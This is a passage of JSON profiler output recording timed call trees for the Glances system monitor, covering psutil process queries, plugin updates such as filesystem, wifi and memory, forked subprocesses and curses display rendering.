\"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003780009574257, \"l1593\": 0.0020003780009574257},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003780009574257, \"l382\": 0.0020003780009574257},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020003780009574257, \"l1689\": 0.0020003780009574257},\"children\": [{\"identifier\": \"bytes.split\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999494001211133, \"l748\": 0.001999494001211133},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999494001211133, \"l1593\": 0.001999494001211133},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999494001211133, \"l1750\": 0.001999494001211133},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001551001740154, \"l382\": 0.002001551001740154},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001551001740154, \"l1138\": 0.002001551001740154},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001551001740154, \"l1593\": 0.002001551001740154},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001551001740154, \"l1878\": 0.002001551001740154},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002002,\"attributes\": {\"l682\": 0.002001551001740154},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020008040009997785, \"l687\": 0.0020008040009997785},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020008040009997785, \"l748\": 0.0020008040009997785},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020008040009997785, \"l1593\": 0.0020008040009997785},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020008040009997785, \"l1751\": 0.0020008040009997785},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"is_running\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000625\",\"time\": 0.007997,\"attributes\": {\"cProcess\": 0.007996670996362809, \"l639\": 0.007996670996362809},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000313\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999313994019758, \"l314\": 0.001999313994019758},\"children\": [{\"identifier\": \"_init\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000316\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999313994019758, \"l347\": 0.001999313994019758},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []},{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000313\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.003999446002126206, \"l314\": 0.003999446002126206},\"children\": [{\"identifier\": \"_init\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000316\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.003999446002126206, \"l347\": 0.003999446002126206},\"children\": [{\"identifier\": \"_get_ident\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000363\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020002950041089207, \"l394\": 0.0020002950041089207},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020002950041089207, \"l1593\": 0.0020002950041089207},\"children\": [{\"identifier\": \"create_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001848\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020002950041089207, \"l1857\": 0.0020002950041089207},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020002950041089207, \"l1593\": 0.0020002950041089207},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020002950041089207, \"l375\": 0.0020002950041089207},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020002950041089207, \"l1683\": 0.0020002950041089207},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002000,\"attributes\": {\"l730\": 0.0020002950041089207},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002000,\"attributes\": {\"l718\": 0.0020002950041089207},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002000,\"attributes\": {\"l682\": 0.0020002950041089207},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"update_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000683\",\"time\": 0.002004,\"attributes\": {\"cGlancesProcesses\": 0.0020042280011693947, \"l689\": 0.0020042280011693947},\"children\": [{\"identifier\": \"list_of_namedtuple_to_list_of_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000587\",\"time\": 0.002004,\"attributes\": {\"l589\": 0.0020042280011693947},\"children\": [{\"identifier\": \"namedtuple_to_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000582\",\"time\": 0.002004,\"attributes\": {\"l584\": 0.0020042280011693947},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/programlist/__init__.py\\u0000148\",\"time\": 0.001996,\"attributes\": {\"cProgramlistPlugin\": 0.0019963509985245764, \"l155\": 0.0019963509985245764},\"children\": [{\"identifier\": \"get_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000704\",\"time\": 0.001996,\"attributes\": {\"cGlancesProcesses\": 0.0019963509985245764, \"l711\": 0.0019963509985245764},\"children\": [{\"identifier\": \"processes_to_programs\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000062\",\"time\": 0.001996,\"attributes\": {\"l71\": 0.0019963509985245764},\"children\": [{\"identifier\": \"update_program_dict\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000040\",\"time\": 0.001996,\"attributes\": {\"l47\": 0.0019963509985245764},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.020007,\"attributes\": {\"cProgramlistPlugin\": 0.007998490997124463, \"l678\": 0.016001386997231748, \"cPercpuPlugin\": 0.002002266002818942, \"cProcesslistPlugin\": 0.010005882002587896, \"l677\": 0.004005252005299553},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.005998,\"attributes\": {\"cProgramlistPlugin\": 0.0059982590028084815, \"l633\": 0.0059982590028084815},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.005998,\"attributes\": {\"cProgramlistPlugin\": 0.0059982590028084815, \"l614\": 0.0019999799987999722, \"l623\": 0.001999152998905629, \"l621\": 0.0019991260051028803},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.002003,\"attributes\": {\"cProcesslistPlugin\": 0.002002658999117557, \"l634\": 0.002002658999117557},\"children\": [{\"identifier\": \"_build_field_optional\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000625\",\"time\": 0.002003,\"attributes\": {\"cProcesslistPlugin\": 0.002002658999117557, \"l628\": 0.002002658999117557},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"listkeys\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000131\",\"time\": 0.001997,\"attributes\": {\"l132\": 0.001996999002585653},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.003998,\"attributes\": {\"cProcesslistPlugin\": 0.003997970998170786, \"l634\": 0.0019981329969596118, \"l633\": 0.001999838001211174},\"children\": [{\"identifier\": \"_build_field_optional\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000625\",\"time\": 0.001998,\"attributes\": {\"cProcesslistPlugin\": 0.0019981329969596118, \"l628\": 0.0019981329969596118},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.001999838001211174, \"l623\": 0.001999838001211174},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"listkeys\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000131\",\"time\": 0.002008,\"attributes\": {\"l132\": 0.0020082530027139},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002008,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.017003,\"attributes\": {\"cFsPlugin\": 0.013914985000155866, \"l1278\": 0.017002716995193623, \"cWifiPlugin\": 0.0016317299960064702, \"cMemPlugin\": 0.0014560019990312867},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.017003,\"attributes\": {\"l1295\": 0.017002716995193623},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000125\",\"time\": 0.013915,\"attributes\": {\"cFsPlugin\": 0.013914985000155866, \"l131\": 0.013914985000155866},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000152\",\"time\": 0.013915,\"attributes\": {\"cFsPlugin\": 0.013914985000155866, \"l158\": 0.0019933699950343, \"l182\": 0.011921615005121566},\"children\": [{\"identifier\": \"get_disk_partitions\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000140\",\"time\": 0.001993,\"attributes\": {\"cFsPlugin\": 0.0019933699950343, \"l147\": 0.0019933699950343},\"children\": [{\"identifier\": \"disk_partitions\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002084\",\"time\": 0.001993,\"attributes\": {\"l2093\": 0.0019933699950343},\"children\": [{\"identifier\": \"disk_partitions\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001208\",\"time\": 0.001993,\"attributes\": {\"l1216\": 0.0019933699950343},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001993,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wraps\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000618\",\"time\": 0.011922,\"attributes\": {\"l630\": 0.003476249003142584, \"l631\": 0.008445366001978982},\"children\": [{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000110\",\"time\": 0.002020,\"attributes\": {\"cForkProcess\": 0.002019968000240624, \"l121\": 0.002019968000240624},\"children\": [{\"identifier\": \"_Popen\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u0000278\",\"time\": 0.002020,\"attributes\": {\"l281\": 0.002019968000240624},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000016\",\"time\": 0.002020,\"attributes\": {\"cPopen\": 0.002019968000240624, \"l20\": 0.002019968000240624},\"children\": [{\"identifier\": \"_launch\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000066\",\"time\": 0.002020,\"attributes\": {\"cPopen\": 0.002019968000240624, \"l70\": 0.002019968000240624},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002020,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000149\",\"time\": 0.004706,\"attributes\": {\"cForkProcess\": 0.004705979998107068, \"l156\": 0.004705979998107068},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.004706,\"attributes\": {\"cPopen\": 0.004705979998107068, \"l41\": 0.004705979998107068},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.004706,\"attributes\": {\"l1165\": 0.004705979998107068},\"children\": [{\"identifier\": \"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.004706,\"attributes\": {\"cPollSelector\": 0.004705979998107068, \"l398\": 0.004705979998107068},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.004706,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.004706,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000110\",\"time\": 0.001456,\"attributes\": {\"cForkProcess\": 0.0014562810029019602, \"l121\": 0.0014562810029019602},\"children\": [{\"identifier\": \"_Popen\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u0000278\",\"time\": 0.001456,\"attributes\": {\"l281\": 0.0014562810029019602},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000016\",\"time\": 0.001456,\"attributes\": {\"cPopen\": 0.0014562810029019602, \"l20\": 0.0014562810029019602},\"children\": [{\"identifier\": \"_launch\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000066\",\"time\": 0.001456,\"attributes\": {\"cPopen\": 0.0014562810029019602, \"l70\": 0.0014562810029019602},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001456,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000149\",\"time\": 0.003739,\"attributes\": {\"cForkProcess\": 0.003739386003871914, \"l156\": 0.003739386003871914},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.003739,\"attributes\": {\"cPopen\": 0.003739386003871914, \"l41\": 0.003739386003871914},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.003739,\"attributes\": {\"l1165\": 0.003739386003871914},\"children\": [{\"identifier\": \"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.003739,\"attributes\": {\"cPollSelector\": 0.003739386003871914, \"l398\": 0.003739386003871914},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.003739,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.003739,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/wifi/__init__.py\\u000083\",\"time\": 0.001632,\"attributes\": {\"cWifiPlugin\": 0.0016317299960064702, \"l101\": 0.0016317299960064702},\"children\": [{\"identifier\": \"_get_wireless_stats\\u0000/home/nicolargo/dev/glances/glances/plugins/wifi/__init__.py\\u0000114\",\"time\": 0.001632,\"attributes\": {\"cWifiPlugin\": 0.0016317299960064702, \"l119\": 0.0016317299960064702},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001632,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001377\",\"time\": 0.001456,\"attributes\": {\"cMemPlugin\": 0.0014560019990312867, \"l1379\": 0.0014560019990312867},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/mem/__init__.py\\u0000253\",\"time\": 0.001456,\"attributes\": {\"cMemPlugin\": 0.0014560019990312867, \"l261\": 0.0014560019990312867},\"children\": [{\"identifier\": \"_update_for_local\\u0000/home/nicolargo/dev/glances/glances/plugins/mem/__init__.py\\u0000139\",\"time\": 0.001456,\"attributes\": {\"cMemPlugin\": 0.0014560019990312867, \"l183\": 0.0014560019990312867},\"children\": [{\"identifier\": \"zfs_stats\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/zfs.py\\u000021\",\"time\": 0.001456,\"attributes\": {\"l27\": 0.0014560019990312867},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001456,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001138\",\"time\": 2.061282,\"attributes\": {\"cGlancesCursesStandalone\": 2.061282435002795, \"l1154\": 0.049991174004389904, \"l1169\": 1.0066433540050639, \"l1172\": 1.0046479069933412},\"children\": [{\"identifier\": \"flush\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001124\",\"time\": 0.049991,\"attributes\": {\"cGlancesCursesStandalone\": 0.049991174004389904, \"l1135\": 0.049991174004389904},\"children\": [{\"identifier\": \"display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000549\",\"time\": 0.049991,\"attributes\": {\"cGlancesCursesStandalone\": 0.049991174004389904, \"l569\": 0.047991145998821594, \"l598\": 0.0020000280055683106},\"children\": [{\"identifier\": \"__get_stat_display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000514\",\"time\": 0.047991,\"attributes\": {\"cGlancesCursesStandalone\": 0.047991145998821594, \"l545\": 0.047991145998821594},\"children\": [{\"identifier\": \"get_stats_display\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001082\",\"time\": 0.047991,\"attributes\": {\"cAlertPlugin\": 0.0019919670012313873, \"l1101\": 0.047991145998821594, \"cProgramlistPlugin\": 0.01799808500072686, \"cProcesslistPlugin\": 0.028001093996863347},\"children\": [{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/alert/__init__.py\\u0000201\",\"time\": 0.001992,\"attributes\": {\"cAlertPlugin\": 0.0019919670012313873, \"l210\": 0.0019919670012313873},\"children\": [{\"identifier\": \"loop_over_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/alert/__init__.py\\u0000189\",\"time\": 0.001992,\"attributes\": {\"cAlertPlugin\": 0.0019919670012313873, \"l199\": 0.0019919670012313873},\"children\": [{\"identifier\": \"<lambda>\\u0000/home/nicolargo/dev/glances/glances/plugins/alert/__init__.py\\u0000199\",\"time\": 0.001992,\"attributes\": {\"l199\": 0.0019919670012313873},\"children\": [{\"identifier\": \"add_start_time\\u0000/home/nicolargo/dev/glances/glances/plugins/alert/__init__.py\\u0000141\",\"time\": 0.001992,\"attributes\": {\"cAlertPlugin\": 0.0019919670012313873, \"l143\": 0.0019919670012313873},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001992,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000556\",\"time\": 0.045999,\"attributes\": {\"cProgramlistPlugin\": 0.01799808500072686, \"l587\": 0.04399938799906522, \"cProcesslistPlugin\": 0.028001093996863347, \"l566\": 0.001999790998524986},\"children\": [{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.017998,\"attributes\": {\"cProgramlistPlugin\": 0.01799808500072686, \"l538\": 0.01799808500072686},\"children\": [{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.0019989630018244497, \"l361\": 0.0019989630018244497},\"children\": [{\"identifier\": \"_get_process_curses_rss\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000347\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.0019989630018244497, \"l350\": 0.0019989630018244497},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001249\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.0019989630018244497, \"l1251\": 0.0019989630018244497},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000424\",\"time\": 0.001999,\"attributes\": {\"l462\": 0.0019989630018244497},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.002009,\"attributes\": {\"cProgramlistPlugin\": 0.0020088410019525327, \"l335\": 0.0020088410019525327},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002009,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.003991,\"attributes\": {\"cProgramlistPlugin\": 0.003990969998994842, \"l309\": 0.003990969998994842},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.003991,\"attributes\": {\"cProgramlistPlugin\": 0.003990969998994842, \"l857\": 0.0019912790012313053, \"l848\": 0.001999690997763537},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.001991,\"attributes\": {\"cProgramlistPlugin\": 0.0019912790012313053, \"l969\": 0.0019912790012313053},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001991,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_io_counters\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000469\",\"time\": 0.004010,\"attributes\": {\"cProgramlistPlugin\": 0.004010165997897275, \"l472\": 0.002000362001126632, \"l471\": 0.0020098039967706427},\"children\": [{\"identifier\": \"_get_process_curses_io_read_write\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000450\",\"time\": 0.004010,\"attributes\": {\"cProgramlistPlugin\": 0.004010165997897275, \"l465\": 0.002000362001126632, \"l466\": 0.0020098039967706427},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"curse_add_line\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001105\",\"time\": 0.002010,\"attributes\": {\"cProgramlistPlugin\": 0.0020098039967706427, \"l1130\": 0.0020098039967706427},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002010,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.001989,\"attributes\": {\"cProgramlistPlugin\": 0.001989422002225183, \"l315\": 0.001989422002225183},\"children\": [{\"identifier\": \"curse_add_line\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001105\",\"time\": 0.001989,\"attributes\": {\"cProgramlistPlugin\": 0.001989422002225183, \"l1130\": 0.001989422002225183},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001989,\"attributes\": {},\"children\": []}]}]},{\"identifier\": 